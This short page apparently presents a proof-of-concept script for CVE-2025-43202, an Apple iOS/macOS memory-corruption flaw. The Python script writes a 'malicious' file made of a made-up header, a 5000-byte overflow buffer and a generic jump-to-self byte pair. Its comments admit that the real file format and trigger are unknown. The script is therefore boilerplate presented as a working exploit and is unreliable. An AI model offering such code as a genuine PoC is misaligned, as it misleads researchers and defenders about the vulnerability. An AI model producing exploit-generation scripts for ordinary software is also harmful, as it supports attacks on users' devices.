CVE-2025-43202 Apple iOS/macOS内存损坏漏洞

# PoC for CVE-2025-43202 (Conceptual) # This script demonstrates the creation of a malformed file intended to trigger the memory corruption. # Note: Specific file format and trigger pattern depend on the vulnerable component. import struct def generate_exploit_file(filename): with open(filename, 'wb') as f: # Simulate a file header that passes initial checks header = b'\x00\x01\x02\x03\x04\x05\x06\x07' f.write(header) # Inject payload to cause memory corruption # This oversized buffer is intended to overflow the target buffer payload = b'A' * 5000 f.write(payload) # Add specific patterns or ROP gadgets here if known f.write(b'\xeb\xfe') # Infinite loop as a simple crash indicator if __name__ == "__main__": print("Generating malicious file for CVE-2025-43202...") generate_exploit_file("cve_2025_43202_poc.dat") print("File generated. Do not open on unpatched systems.")